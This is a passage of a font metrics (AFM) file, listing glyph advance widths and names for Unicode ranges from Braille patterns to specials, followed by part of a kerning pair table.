U 10426 ; WX 781 ; N uni28BA ; G 2857
U 10427 ; WX 781 ; N uni28BB ; G 2858
U 10428 ; WX 781 ; N uni28BC ; G 2859
U 10429 ; WX 781 ; N uni28BD ; G 2860
U 10430 ; WX 781 ; N uni28BE ; G 2861
U 10431 ; WX 781 ; N uni28BF ; G 2862
U 10432 ; WX 781 ; N uni28C0 ; G 2863
U 10433 ; WX 781 ; N uni28C1 ; G 2864
U 10434 ; WX 781 ; N uni28C2 ; G 2865
U 10435 ; WX 781 ; N uni28C3 ; G 2866
U 10436 ; WX 781 ; N uni28C4 ; G 2867
U 10437 ; WX 781 ; N uni28C5 ; G 2868
U 10438 ; WX 781 ; N uni28C6 ; G 2869
U 10439 ; WX 781 ; N uni28C7 ; G 2870
U 10440 ; WX 781 ; N uni28C8 ; G 2871
U 10441 ; WX 781 ; N uni28C9 ; G 2872
U 10442 ; WX 781 ; N uni28CA ; G 2873
U 10443 ; WX 781 ; N uni28CB ; G 2874
U 10444 ; WX 781 ; N uni28CC ; G 2875
U 10445 ; WX 781 ; N uni28CD ; G 2876
U 10446 ; WX 781 ; N uni28CE ; G 2877
U 10447 ; WX 781 ; N uni28CF ; G 2878
U 10448 ; WX 781 ; N uni28D0 ; G 2879
U 10449 ; WX 781 ; N uni28D1 ; G 2880
U 10450 ; WX 781 ; N uni28D2 ; G 2881
U 10451 ; WX 781 ; N uni28D3 ; G 2882
U 10452 ; WX 781 ; N uni28D4 ; G 2883
U 10453 ; WX 781 ; N uni28D5 ; G 2884
U 10454 ; WX 781 ; N uni28D6 ; G 2885
U 10455 ; WX 781 ; N uni28D7 ; G 2886
U 10456 ; WX 781 ; N uni28D8 ; G 2887
U 10457 ; WX 781 ; N uni28D9 ; G 2888
U 10458 ; WX 781 ; N uni28DA ; G 2889
U 10459 ; WX 781 ; N uni28DB ; G 2890
U 10460 ; WX 781 ; N uni28DC ; G 2891
U 10461 ; WX 781 ; N uni28DD ; G 2892
U 10462 ; WX 781 ; N uni28DE ; G 2893
U 10463 ; WX 781 ; N uni28DF ; G 2894
U 10464 ; WX 781 ; N uni28E0 ; G 2895
U 10465 ; WX 781 ; N uni28E1 ; G 2896
U 10466 ; WX 781 ; N uni28E2 ; G 2897
U 10467 ; WX 781 ; N uni28E3 ; G 2898
U 10468 ; WX 781 ; N uni28E4 ; G 2899
U 10469 ; WX 781 ; N uni28E5 ; G 2900
U 10470 ; WX 781 ; N uni28E6 ; G 2901
U 10471 ; WX 781 ; N uni28E7 ; G 2902
U 10472 ; WX 781 ; N uni28E8 ; G 2903
U 10473 ; WX 781 ; N uni28E9 ; G 2904
U 10474 ; WX 781 ; N uni28EA ; G 2905
U 10475 ; WX 781 ; N uni28EB ; G 2906
U 10476 ; WX 781 ; N uni28EC ; G 2907
U 10477 ; WX 781 ; N uni28ED ; G 2908
U 10478 ; WX 781 ; N uni28EE ; G 2909
U 10479 ; WX 781 ; N uni28EF ; G 2910
U 10480 ; WX 781 ; N uni28F0 ; G 2911
U 10481 ; WX 781 ; N uni28F1 ; G 2912
U 10482 ; WX 781 ; N uni28F2 ; G 2913
U 10483 ; WX 781 ; N uni28F3 ; G 2914
U 10484 ; WX 781 ; N uni28F4 ; G 2915
U 10485 ; WX 781 ; N uni28F5 ; G 2916
U 10486 ; WX 781 ; N uni28F6 ; G 2917
U 10487 ; WX 781 ; N uni28F7 ; G 2918
U 10488 ; WX 781 ; N uni28F8 ; G 2919
U 10489 ; WX 781 ; N uni28F9 ; G 2920
U 10490 ; WX 781 ; N uni28FA ; G 2921
U 10491 ; WX 781 ; N uni28FB ; G 2922
U 10492 ; WX 781 ; N uni28FC ; G 2923
U 10493 ; WX 781 ; N uni28FD ; G 2924
U 10494 ; WX 781 ; N uni28FE ; G 2925
U 10495 ; WX 781 ; N uni28FF ; G 2926
U 10496 ; WX 838 ; N uni2900 ; G 2927
U 10497 ; WX 838 ; N uni2901 ; G 2928
U 10498 ; WX 838 ; N uni2902 ; G 2929
U 10499 ; WX 838 ; N uni2903 ; G 2930
U 10500 ; WX 838 ; N uni2904 ; G 2931
U 10501 ; WX 838 ; N uni2905 ; G 2932
U 10502 ; WX 838 ; N uni2906 ; G 2933
U 10503 ; WX 838 ; N uni2907 ; G 2934
U 10504 ; WX 838 ; N uni2908 ; G 2935
U 10505 ; WX 838 ; N uni2909 ; G 2936
U 10506 ; WX 838 ; N uni290A ; G 2937
U 10507 ; WX 838 ; N uni290B ; G 2938
U 10508 ; WX 838 ; N uni290C ; G 2939
U 10509 ; WX 838 ; N uni290D ; G 2940
U 10510 ; WX 838 ; N uni290E ; G 2941
U 10511 ; WX 838 ; N uni290F ; G 2942
U 10512 ; WX 838 ; N uni2910 ; G 2943
U 10513 ; WX 838 ; N uni2911 ; G 2944
U 10514 ; WX 838 ; N uni2912 ; G 2945
U 10515 ; WX 838 ; N uni2913 ; G 2946
U 10516 ; WX 838 ; N uni2914 ; G 2947
U 10517 ; WX 838 ; N uni2915 ; G 2948
U 10518 ; WX 838 ; N uni2916 ; G 2949
U 10519 ; WX 838 ; N uni2917 ; G 2950
U 10520 ; WX 838 ; N uni2918 ; G 2951
U 10521 ; WX 838 ; N uni2919 ; G 2952
U 10522 ; WX 838 ; N uni291A ; G 2953
U 10523 ; WX 838 ; N uni291B ; G 2954
U 10524 ; WX 838 ; N uni291C ; G 2955
U 10525 ; WX 838 ; N uni291D ; G 2956
U 10526 ; WX 838 ; N uni291E ; G 2957
U 10527 ; WX 838 ; N uni291F ; G 2958
U 10528 ; WX 838 ; N uni2920 ; G 2959
U 10529 ; WX 838 ; N uni2921 ; G 2960
U 10530 ; WX 838 ; N uni2922 ; G 2961
U 10531 ; WX 838 ; N uni2923 ; G 2962
U 10532 ; WX 838 ; N uni2924 ; G 2963
U 10533 ; WX 838 ; N uni2925 ; G 2964
U 10534 ; WX 838 ; N uni2926 ; G 2965
U 10535 ; WX 838 ; N uni2927 ; G 2966
U 10536 ; WX 838 ; N uni2928 ; G 2967
U 10537 ; WX 838 ; N uni2929 ; G 2968
U 10538 ; WX 838 ; N uni292A ; G 2969
U 10539 ; WX 838 ; N uni292B ; G 2970
U 10540 ; WX 838 ; N uni292C ; G 2971
U 10541 ; WX 838 ; N uni292D ; G 2972
U 10542 ; WX 838 ; N uni292E ; G 2973
U 10543 ; WX 838 ; N uni292F ; G 2974
U 10544 ; WX 838 ; N uni2930 ; G 2975
U 10545 ; WX 838 ; N uni2931 ; G 2976
U 10546 ; WX 838 ; N uni2932 ; G 2977
U 10547 ; WX 838 ; N uni2933 ; G 2978
U 10548 ; WX 838 ; N uni2934 ; G 2979
U 10549 ; WX 838 ; N uni2935 ; G 2980
U 10550 ; WX 838 ; N uni2936 ; G 2981
U 10551 ; WX 838 ; N uni2937 ; G 2982
U 10552 ; WX 838 ; N uni2938 ; G 2983
U 10553 ; WX 838 ; N uni2939 ; G 2984
U 10554 ; WX 838 ; N uni293A ; G 2985
U 10555 ; WX 838 ; N uni293B ; G 2986
U 10556 ; WX 838 ; N uni293C ; G 2987
U 10557 ; WX 838 ; N uni293D ; G 2988
U 10558 ; WX 838 ; N uni293E ; G 2989
U 10559 ; WX 838 ; N uni293F ; G 2990
U 10560 ; WX 838 ; N uni2940 ; G 2991
U 10561 ; WX 838 ; N uni2941 ; G 2992
U 10562 ; WX 838 ; N uni2942 ; G 2993
U 10563 ; WX 838 ; N uni2943 ; G 2994
U 10564 ; WX 838 ; N uni2944 ; G 2995
U 10565 ; WX 838 ; N uni2945 ; G 2996
U 10566 ; WX 838 ; N uni2946 ; G 2997
U 10567 ; WX 838 ; N uni2947 ; G 2998
U 10568 ; WX 838 ; N uni2948 ; G 2999
U 10569 ; WX 838 ; N uni2949 ; G 3000
U 10570 ; WX 838 ; N uni294A ; G 3001
U 10571 ; WX 838 ; N uni294B ; G 3002
U 10572 ; WX 838 ; N uni294C ; G 3003
U 10573 ; WX 838 ; N uni294D ; G 3004
U 10574 ; WX 838 ; N uni294E ; G 3005
U 10575 ; WX 838 ; N uni294F ; G 3006
U 10576 ; WX 838 ; N uni2950 ; G 3007
U 10577 ; WX 838 ; N uni2951 ; G 3008
U 10578 ; WX 838 ; N uni2952 ; G 3009
U 10579 ; WX 838 ; N uni2953 ; G 3010
U 10580 ; WX 838 ; N uni2954 ; G 3011
U 10581 ; WX 838 ; N uni2955 ; G 3012
U 10582 ; WX 838 ; N uni2956 ; G 3013
U 10583 ; WX 838 ; N uni2957 ; G 3014
U 10584 ; WX 838 ; N uni2958 ; G 3015
U 10585 ; WX 838 ; N uni2959 ; G 3016
U 10586 ; WX 838 ; N uni295A ; G 3017
U 10587 ; WX 838 ; N uni295B ; G 3018
U 10588 ; WX 838 ; N uni295C ; G 3019
U 10589 ; WX 838 ; N uni295D ; G 3020
U 10590 ; WX 838 ; N uni295E ; G 3021
U 10591 ; WX 838 ; N uni295F ; G 3022
U 10592 ; WX 838 ; N uni2960 ; G 3023
U 10593 ; WX 838 ; N uni2961 ; G 3024
U 10594 ; WX 838 ; N uni2962 ; G 3025
U 10595 ; WX 838 ; N uni2963 ; G 3026
U 10596 ; WX 838 ; N uni2964 ; G 3027
U 10597 ; WX 838 ; N uni2965 ; G 3028
U 10598 ; WX 838 ; N uni2966 ; G 3029
U 10599 ; WX 838 ; N uni2967 ; G 3030
U 10600 ; WX 838 ; N uni2968 ; G 3031
U 10601 ; WX 838 ; N uni2969 ; G 3032
U 10602 ; WX 838 ; N uni296A ; G 3033
U 10603 ; WX 838 ; N uni296B ; G 3034
U 10604 ; WX 838 ; N uni296C ; G 3035
U 10605 ; WX 838 ; N uni296D ; G 3036
U 10606 ; WX 838 ; N uni296E ; G 3037
U 10607 ; WX 838 ; N uni296F ; G 3038
U 10608 ; WX 838 ; N uni2970 ; G 3039
U 10609 ; WX 838 ; N uni2971 ; G 3040
U 10610 ; WX 838 ; N uni2972 ; G 3041
U 10611 ; WX 838 ; N uni2973 ; G 3042
U 10612 ; WX 838 ; N uni2974 ; G 3043
U 10613 ; WX 838 ; N uni2975 ; G 3044
U 10614 ; WX 838 ; N uni2976 ; G 3045
U 10615 ; WX 1032 ; N uni2977 ; G 3046
U 10616 ; WX 838 ; N uni2978 ; G 3047
U 10617 ; WX 838 ; N uni2979 ; G 3048
U 10618 ; WX 960 ; N uni297A ; G 3049
U 10619 ; WX 838 ; N uni297B ; G 3050
U 10620 ; WX 838 ; N uni297C ; G 3051
U 10621 ; WX 838 ; N uni297D ; G 3052
U 10622 ; WX 838 ; N uni297E ; G 3053
U 10623 ; WX 838 ; N uni297F ; G 3054
U 10731 ; WX 494 ; N uni29EB ; G 3055
U 10764 ; WX 1782 ; N uni2A0C ; G 3056
U 10765 ; WX 610 ; N uni2A0D ; G 3057
U 10766 ; WX 610 ; N uni2A0E ; G 3058
U 10799 ; WX 838 ; N uni2A2F ; G 3059
U 10858 ; WX 838 ; N uni2A6A ; G 3060
U 10859 ; WX 838 ; N uni2A6B ; G 3061
U 11008 ; WX 838 ; N uni2B00 ; G 3062
U 11009 ; WX 838 ; N uni2B01 ; G 3063
U 11010 ; WX 838 ; N uni2B02 ; G 3064
U 11011 ; WX 838 ; N uni2B03 ; G 3065
U 11012 ; WX 838 ; N uni2B04 ; G 3066
U 11013 ; WX 838 ; N uni2B05 ; G 3067
U 11014 ; WX 838 ; N uni2B06 ; G 3068
U 11015 ; WX 838 ; N uni2B07 ; G 3069
U 11016 ; WX 838 ; N uni2B08 ; G 3070
U 11017 ; WX 838 ; N uni2B09 ; G 3071
U 11018 ; WX 838 ; N uni2B0A ; G 3072
U 11019 ; WX 838 ; N uni2B0B ; G 3073
U 11020 ; WX 838 ; N uni2B0C ; G 3074
U 11021 ; WX 838 ; N uni2B0D ; G 3075
U 11022 ; WX 838 ; N uni2B0E ; G 3076
U 11023 ; WX 838 ; N uni2B0F ; G 3077
U 11024 ; WX 838 ; N uni2B10 ; G 3078
U 11025 ; WX 838 ; N uni2B11 ; G 3079
U 11026 ; WX 945 ; N uni2B12 ; G 3080
U 11027 ; WX 945 ; N uni2B13 ; G 3081
U 11028 ; WX 945 ; N uni2B14 ; G 3082
U 11029 ; WX 945 ; N uni2B15 ; G 3083
U 11030 ; WX 769 ; N uni2B16 ; G 3084
U 11031 ; WX 769 ; N uni2B17 ; G 3085
U 11032 ; WX 769 ; N uni2B18 ; G 3086
U 11033 ; WX 769 ; N uni2B19 ; G 3087
U 11034 ; WX 945 ; N uni2B1A ; G 3088
U 11360 ; WX 703 ; N uni2C60 ; G 3089
U 11361 ; WX 380 ; N uni2C61 ; G 3090
U 11363 ; WX 752 ; N uni2C63 ; G 3091
U 11364 ; WX 831 ; N uni2C64 ; G 3092
U 11367 ; WX 945 ; N uni2C67 ; G 3093
U 11368 ; WX 727 ; N uni2C68 ; G 3094
U 11369 ; WX 869 ; N uni2C69 ; G 3095
U 11370 ; WX 693 ; N uni2C6A ; G 3096
U 11371 ; WX 730 ; N uni2C6B ; G 3097
U 11372 ; WX 568 ; N uni2C6C ; G 3098
U 11373 ; WX 848 ; N uni2C6D ; G 3099
U 11374 ; WX 1107 ; N uni2C6E ; G 3100
U 11375 ; WX 776 ; N uni2C6F ; G 3101
U 11376 ; WX 848 ; N uni2C70 ; G 3102
U 11377 ; WX 709 ; N uni2C71 ; G 3103
U 11378 ; WX 1221 ; N uni2C72 ; G 3104
U 11379 ; WX 984 ; N uni2C73 ; G 3105
U 11381 ; WX 779 ; N uni2C75 ; G 3106
U 11382 ; WX 601 ; N uni2C76 ; G 3107
U 11383 ; WX 905 ; N uni2C77 ; G 3108
U 11385 ; WX 571 ; N uni2C79 ; G 3109
U 11386 ; WX 667 ; N uni2C7A ; G 3110
U 11387 ; WX 617 ; N uni2C7B ; G 3111
U 11388 ; WX 313 ; N uni2C7C ; G 3112
U 11389 ; WX 489 ; N uni2C7D ; G 3113
U 11390 ; WX 722 ; N uni2C7E ; G 3114
U 11391 ; WX 730 ; N uni2C7F ; G 3115
U 11520 ; WX 773 ; N uni2D00 ; G 3116
U 11521 ; WX 635 ; N uni2D01 ; G 3117
U 11522 ; WX 804 ; N uni2D02 ; G 3118
U 11523 ; WX 658 ; N uni2D03 ; G 3119
U 11524 ; WX 788 ; N uni2D04 ; G 3120
U 11525 ; WX 962 ; N uni2D05 ; G 3121
U 11526 ; WX 756 ; N uni2D06 ; G 3122
U 11527 ; WX 960 ; N uni2D07 ; G 3123
U 11528 ; WX 617 ; N uni2D08 ; G 3124
U 11529 ; WX 646 ; N uni2D09 ; G 3125
U 11530 ; WX 962 ; N uni2D0A ; G 3126
U 11531 ; WX 631 ; N uni2D0B ; G 3127
U 11532 ; WX 646 ; N uni2D0C ; G 3128
U 11533 ; WX 962 ; N uni2D0D ; G 3129
U 11534 ; WX 846 ; N uni2D0E ; G 3130
U 11535 ; WX 866 ; N uni2D0F ; G 3131
U 11536 ; WX 961 ; N uni2D10 ; G 3132
U 11537 ; WX 645 ; N uni2D11 ; G 3133
U 11538 ; WX 645 ; N uni2D12 ; G 3134
U 11539 ; WX 959 ; N uni2D13 ; G 3135
U 11540 ; WX 945 ; N uni2D14 ; G 3136
U 11541 ; WX 863 ; N uni2D15 ; G 3137
U 11542 ; WX 644 ; N uni2D16 ; G 3138
U 11543 ; WX 646 ; N uni2D17 ; G 3139
U 11544 ; WX 645 ; N uni2D18 ; G 3140
U 11545 ; WX 649 ; N uni2D19 ; G 3141
U 11546 ; WX 688 ; N uni2D1A ; G 3142
U 11547 ; WX 936 ; N uni2D1B ; G 3143
U 11548 ; WX 982 ; N uni2D1C ; G 3144
U 11549 ; WX 681 ; N uni2D1D ; G 3145
U 11550 ; WX 676 ; N uni2D1E ; G 3146
U 11551 ; WX 852 ; N uni2D1F ; G 3147
U 11552 ; WX 1113 ; N uni2D20 ; G 3148
U 11553 ; WX 632 ; N uni2D21 ; G 3149
U 11554 ; WX 645 ; N uni2D22 ; G 3150
U 11555 ; WX 646 ; N uni2D23 ; G 3151
U 11556 ; WX 749 ; N uni2D24 ; G 3152
U 11557 ; WX 914 ; N uni2D25 ; G 3153
U 11800 ; WX 586 ; N uni2E18 ; G 3154
U 11807 ; WX 838 ; N uni2E1F ; G 3155
U 11810 ; WX 473 ; N uni2E22 ; G 3156
U 11811 ; WX 473 ; N uni2E23 ; G 3157
U 11812 ; WX 473 ; N uni2E24 ; G 3158
U 11813 ; WX 473 ; N uni2E25 ; G 3159
U 11822 ; WX 586 ; N uni2E2E ; G 3160
U 42564 ; WX 722 ; N uniA644 ; G 3161
U 42565 ; WX 563 ; N uniA645 ; G 3162
U 42566 ; WX 468 ; N uniA646 ; G 3163
U 42567 ; WX 380 ; N uniA647 ; G 3164
U 42576 ; WX 1333 ; N uniA650 ; G 3165
U 42577 ; WX 1092 ; N uniA651 ; G 3166
U 42580 ; WX 1287 ; N uniA654 ; G 3167
U 42581 ; WX 1025 ; N uniA655 ; G 3168
U 42582 ; WX 1287 ; N uniA656 ; G 3169
U 42583 ; WX 1039 ; N uniA657 ; G 3170
U 42648 ; WX 1448 ; N uniA698 ; G 3171
U 42649 ; WX 1060 ; N uniA699 ; G 3172
U 42760 ; WX 500 ; N uniA708 ; G 3173
U 42761 ; WX 500 ; N uniA709 ; G 3174
U 42762 ; WX 500 ; N uniA70A ; G 3175
U 42763 ; WX 500 ; N uniA70B ; G 3176
U 42764 ; WX 500 ; N uniA70C ; G 3177
U 42765 ; WX 500 ; N uniA70D ; G 3178
U 42766 ; WX 500 ; N uniA70E ; G 3179
U 42767 ; WX 500 ; N uniA70F ; G 3180
U 42768 ; WX 500 ; N uniA710 ; G 3181
U 42769 ; WX 500 ; N uniA711 ; G 3182
U 42770 ; WX 500 ; N uniA712 ; G 3183
U 42771 ; WX 500 ; N uniA713 ; G 3184
U 42772 ; WX 500 ; N uniA714 ; G 3185
U 42773 ; WX 500 ; N uniA715 ; G 3186
U 42774 ; WX 500 ; N uniA716 ; G 3187
U 42779 ; WX 384 ; N uniA71B ; G 3188
U 42780 ; WX 384 ; N uniA71C ; G 3189
U 42781 ; WX 276 ; N uniA71D ; G 3190
U 42782 ; WX 276 ; N uniA71E ; G 3191
U 42783 ; WX 276 ; N uniA71F ; G 3192
U 42790 ; WX 945 ; N uniA726 ; G 3193
U 42791 ; WX 712 ; N uniA727 ; G 3194
U 42792 ; WX 1003 ; N uniA728 ; G 3195
U 42793 ; WX 909 ; N uniA729 ; G 3196
U 42794 ; WX 696 ; N uniA72A ; G 3197
U 42795 ; WX 609 ; N uniA72B ; G 3198
U 42796 ; WX 634 ; N uniA72C ; G 3199
U 42797 ; WX 598 ; N uniA72D ; G 3200
U 42798 ; WX 741 ; N uniA72E ; G 3201
U 42799 ; WX 706 ; N uniA72F ; G 3202
U 42800 ; WX 592 ; N uniA730 ; G 3203
U 42801 ; WX 563 ; N uniA731 ; G 3204
U 42802 ; WX 1301 ; N uniA732 ; G 3205
U 42803 ; WX 986 ; N uniA733 ; G 3206
U 42804 ; WX 1261 ; N uniA734 ; G 3207
U 42805 ; WX 1004 ; N uniA735 ; G 3208
U 42806 ; WX 1168 ; N uniA736 ; G 3209
U 42807 ; WX 1008 ; N uniA737 ; G 3210
U 42808 ; WX 1016 ; N uniA738 ; G 3211
U 42809 ; WX 813 ; N uniA739 ; G 3212
U 42810 ; WX 1016 ; N uniA73A ; G 3213
U 42811 ; WX 813 ; N uniA73B ; G 3214
U 42812 ; WX 994 ; N uniA73C ; G 3215
U 42813 ; WX 847 ; N uniA73D ; G 3216
U 42814 ; WX 796 ; N uniA73E ; G 3217
U 42815 ; WX 609 ; N uniA73F ; G 3218
U 42816 ; WX 910 ; N uniA740 ; G 3219
U 42817 ; WX 722 ; N uniA741 ; G 3220
U 42822 ; WX 916 ; N uniA746 ; G 3221
U 42823 ; WX 581 ; N uniA747 ; G 3222
U 42826 ; WX 1010 ; N uniA74A ; G 3223
U 42827 ; WX 770 ; N uniA74B ; G 3224
U 42830 ; WX 1448 ; N uniA74E ; G 3225
U 42831 ; WX 1060 ; N uniA74F ; G 3226
U 42856 ; WX 787 ; N uniA768 ; G 3227
U 42857 ; WX 716 ; N uniA769 ; G 3228
U 42875 ; WX 694 ; N uniA77B ; G 3229
U 42876 ; WX 527 ; N uniA77C ; G 3230
U 42880 ; WX 703 ; N uniA780 ; G 3231
U 42881 ; WX 380 ; N uniA781 ; G 3232
U 42882 ; WX 872 ; N uniA782 ; G 3233
U 42883 ; WX 727 ; N uniA783 ; G 3234
U 42884 ; WX 694 ; N uniA784 ; G 3235
U 42885 ; WX 527 ; N uniA785 ; G 3236
U 42886 ; WX 796 ; N uniA786 ; G 3237
U 42887 ; WX 609 ; N uniA787 ; G 3238
U 42891 ; WX 439 ; N uniA78B ; G 3239
U 42892 ; WX 306 ; N uniA78C ; G 3240
U 42893 ; WX 913 ; N uniA78D ; G 3241
U 42896 ; WX 914 ; N uniA790 ; G 3242
U 42897 ; WX 727 ; N uniA791 ; G 3243
U 42922 ; WX 945 ; N uniA7AA ; G 3244
U 43000 ; WX 595 ; N uniA7F8 ; G 3245
U 43001 ; WX 647 ; N uniA7F9 ; G 3246
U 43002 ; WX 1069 ; N uniA7FA ; G 3247
U 43003 ; WX 710 ; N uniA7FB ; G 3248
U 43004 ; WX 752 ; N uniA7FC ; G 3249
U 43005 ; WX 1107 ; N uniA7FD ; G 3250
U 43006 ; WX 468 ; N uniA7FE ; G 3251
U 43007 ; WX 1286 ; N uniA7FF ; G 3252
U 62464 ; WX 705 ; N uniF400 ; G 3253
U 62465 ; WX 716 ; N uniF401 ; G 3254
U 62466 ; WX 765 ; N uniF402 ; G 3255
U 62467 ; WX 999 ; N uniF403 ; G 3256
U 62468 ; WX 716 ; N uniF404 ; G 3257
U 62469 ; WX 710 ; N uniF405 ; G 3258
U 62470 ; WX 776 ; N uniF406 ; G 3259
U 62471 ; WX 1038 ; N uniF407 ; G 3260
U 62472 ; WX 716 ; N uniF408 ; G 3261
U 62473 ; WX 716 ; N uniF409 ; G 3262
U 62474 ; WX 1309 ; N uniF40A ; G 3263
U 62475 ; WX 734 ; N uniF40B ; G 3264
U 62476 ; WX 733 ; N uniF40C ; G 3265
U 62477 ; WX 1004 ; N uniF40D ; G 3266
U 62478 ; WX 716 ; N uniF40E ; G 3267
U 62479 ; WX 733 ; N uniF40F ; G 3268
U 62480 ; WX 1050 ; N uniF410 ; G 3269
U 62481 ; WX 797 ; N uniF411 ; G 3270
U 62482 ; WX 850 ; N uniF412 ; G 3271
U 62483 ; WX 799 ; N uniF413 ; G 3272
U 62484 ; WX 996 ; N uniF414 ; G 3273
U 62485 ; WX 732 ; N uniF415 ; G 3274
U 62486 ; WX 987 ; N uniF416 ; G 3275
U 62487 ; WX 731 ; N uniF417 ; G 3276
U 62488 ; WX 739 ; N uniF418 ; G 3277
U 62489 ; WX 733 ; N uniF419 ; G 3278
U 62490 ; WX 780 ; N uniF41A ; G 3279
U 62491 ; WX 733 ; N uniF41B ; G 3280
U 62492 ; WX 739 ; N uniF41C ; G 3281
U 62493 ; WX 717 ; N uniF41D ; G 3282
U 62494 ; WX 780 ; N uniF41E ; G 3283
U 62495 ; WX 936 ; N uniF41F ; G 3284
U 62496 ; WX 716 ; N uniF420 ; G 3285
U 62497 ; WX 826 ; N uniF421 ; G 3286
U 62498 ; WX 717 ; N uniF422 ; G 3287
U 62499 ; WX 716 ; N uniF423 ; G 3288
U 62500 ; WX 716 ; N uniF424 ; G 3289
U 62501 ; WX 773 ; N uniF425 ; G 3290
U 62502 ; WX 1013 ; N uniF426 ; G 3291
U 62504 ; WX 904 ; N uniF428 ; G 3292
U 63173 ; WX 667 ; N uniF6C5 ; G 3293
U 63185 ; WX 500 ; N cyrBreve ; G 3294
U 63188 ; WX 500 ; N cyrbreve ; G 3295
U 64256 ; WX 821 ; N uniFB00 ; G 3296
U 64257 ; WX 727 ; N fi ; G 3297
U 64258 ; WX 727 ; N fl ; G 3298
U 64259 ; WX 1120 ; N uniFB03 ; G 3299
U 64260 ; WX 1117 ; N uniFB04 ; G 3300
U 64261 ; WX 871 ; N uniFB05 ; G 3301
U 64262 ; WX 971 ; N uniFB06 ; G 3302
U 65024 ; WX 0 ; N uniFE00 ; G 3303
U 65025 ; WX 0 ; N uniFE01 ; G 3304
U 65026 ; WX 0 ; N uniFE02 ; G 3305
U 65027 ; WX 0 ; N uniFE03 ; G 3306
U 65028 ; WX 0 ; N uniFE04 ; G 3307
U 65029 ; WX 0 ; N uniFE05 ; G 3308
U 65030 ; WX 0 ; N uniFE06 ; G 3309
U 65031 ; WX 0 ; N uniFE07 ; G 3310
U 65032 ; WX 0 ; N uniFE08 ; G 3311
U 65033 ; WX 0 ; N uniFE09 ; G 3312
U 65034 ; WX 0 ; N uniFE0A ; G 3313
U 65035 ; WX 0 ; N uniFE0B ; G 3314
U 65036 ; WX 0 ; N uniFE0C ; G 3315
U 65037 ; WX 0 ; N uniFE0D ; G 3316
U 65038 ; WX 0 ; N uniFE0E ; G 3317
U 65039 ; WX 0 ; N uniFE0F ; G 3318
U 65529 ; WX 0 ; N uniFFF9 ; G 3319
U 65530 ; WX 0 ; N uniFFFA ; G 3320
U 65531 ; WX 0 ; N uniFFFB ; G 3321
U 65532 ; WX 0 ; N uniFFFC ; G 3322
U 65533 ; WX 1113 ; N uniFFFD ; G 3323
EndCharMetrics
StartKernData 
StartKernPairs 1408

KPX dollar seven -112
KPX dollar nine -149
KPX dollar colon -102
KPX dollar less -102
KPX dollar I -36
KPX dollar W -36
KPX dollar Y -83
KPX dollar Z -83
KPX dollar backslash -83
KPX dollar questiondown -83
KPX dollar Aacute -83
KPX dollar Hcircumflex -112
KPX dollar hcircumflex -36
KPX dollar Hbar -112
KPX dollar hbar -36
KPX dollar Kcommaaccent -102
KPX dollar kcommaaccent -83
KPX dollar kgreenlandic -102
KPX dollar Lacute -83
KPX dollar lacute -102
KPX dollar uni01DC -112
KPX dollar uni01DD -36
KPX dollar uni01F4 -102
KPX dollar uni01F5 -83

KPX percent ampersand 38
KPX percent asterisk 38
KPX percent two 38
KPX percent less -36
KPX percent Egrave 38
KPX percent Ecircumflex 38
KPX percent Igrave 38
KPX percent Icircumflex 38
KPX percent Thorn 38
KPX percent agrave 38
KPX percent acircumflex 38
KPX percent adieresis 38
KPX percent Dcaron 38
KPX percent Dcroat 38
KPX percent Emacron 38
KPX percent Ebreve 38
KPX percent kgreenlandic -36
KPX percent lacute -36
KPX percent uni01AC 38
KPX percent uni01AE 38
KPX percent uni01F0 38
KPX percent uni01F4 -36


KPX quotesingle nine -36


KPX parenright dollar -120
KPX parenright D -112
KPX parenright H -112
KPX parenright R -112
KPX parenright U -36
KPX parenright X -36
KPX parenright cent -112
KPX parenright sterling -112
KPX parenright currency -112
KPX parenright yen -112
KPX parenright brokenbar -112
KPX parenright section -112
KPX parenright dieresis -112
KPX parenright ordfeminine -112
KPX parenright guillemotleft -112
KPX parenright logicalnot -112
KPX parenright sfthyphen -112
KPX parenright acute -112
KPX parenright mu -112
KPX parenright paragraph -112
KPX parenright periodcentered -112
KPX parenright cedilla -112
KPX parenright ordmasculine -112
KPX parenright guillemotright -36
KPX parenright onequarter -36
KPX parenright onehalf -36
KPX parenright threequarters -36
KPX parenright Acircumflex -120
KPX parenright Atilde -112
KPX parenright Adieresis -120
KPX parenright Aring -112
KPX parenright AE -120
KPX parenright Ccedilla -112
KPX parenright Otilde -112
KPX parenright multiply -112
KPX parenright Ugrave -112
KPX parenright Ucircumflex -112
KPX parenright Yacute -112
KPX parenright dcaron -112
KPX parenright dmacron -112
KPX parenright emacron -112
KPX parenright ebreve -112
KPX parenright edotaccent -36
KPX parenright eogonek -36
KPX parenright ecaron -36
KPX parenright imacron -36
KPX parenright ibreve -36
KPX parenright iogonek -36
KPX parenright dotlessi -36
KPX parenright ij -36
KPX parenright jcircumflex -36
KPX parenright uni01A5 -112
KPX parenright uni01AD -112
KPX parenright Uhorn -112
KPX parenright uni01F1 -112



KPX period dollar -83
KPX period ampersand -55
KPX period two -55
KPX period eight -73
KPX period colon -73
KPX period less -55
KPX period H -45
KPX period R -45
KPX period X -45
KPX period backslash -92
KPX period ordfeminine -45
KPX period guillemotleft -45
KPX period logicalnot -45
KPX period sfthyphen -45
KPX period acute -45
KPX period mu -45
KPX period paragraph -45
KPX period periodcentered -45
KPX period cedilla -45
KPX period ordmasculine -36
KPX period guillemotright -45
KPX period onequarter -45
KPX period onehalf -45
KPX period threequarters -45
KPX period questiondown -92
KPX period Aacute -92
KPX period Egrave -55
KPX period Icircumflex -55
KPX period Yacute -45
KPX period Ebreve -55
KPX period ebreve -45
KPX period Idot -73
KPX period dotlessi -45
KPX period lacute -55

KPX slash seven -167
KPX slash eight -112
KPX slash nine -243
KPX slash colon -139
KPX slash less -131
KPX slash backslash -73
KPX slash questiondown -73
KPX slash Aacute -73
KPX slash Hbar -167
KPX slash Idot -112
KPX slash lacute -131


KPX two nine -36
KPX two semicolon -36

KPX three dollar -149
KPX three D -55
KPX three H -55
KPX three R -55
KPX three cent -55
KPX three sterling -55
KPX three currency -55
KPX three yen -55
KPX three brokenbar -55
KPX three section -55
KPX three dieresis -55
KPX three ordfeminine -55
KPX three guillemotleft -55
KPX three logicalnot -55
KPX three sfthyphen -55
KPX three acute -55
KPX three mu -55
KPX three paragraph -55
KPX three periodcentered -55
KPX three cedilla -55
KPX three ordmasculine -55
KPX three Yacute -55
KPX three ebreve -55


KPX five seven -36
KPX five nine -73
KPX five colon -45
KPX five less -63
KPX five D 47
KPX five backslash -36
KPX five cent 47
KPX five sterling 47
KPX five currency 47
KPX five yen 47
KPX five brokenbar 47
KPX five section 47
KPX five dieresis 47
KPX five ordmasculine 38
KPX five questiondown -36
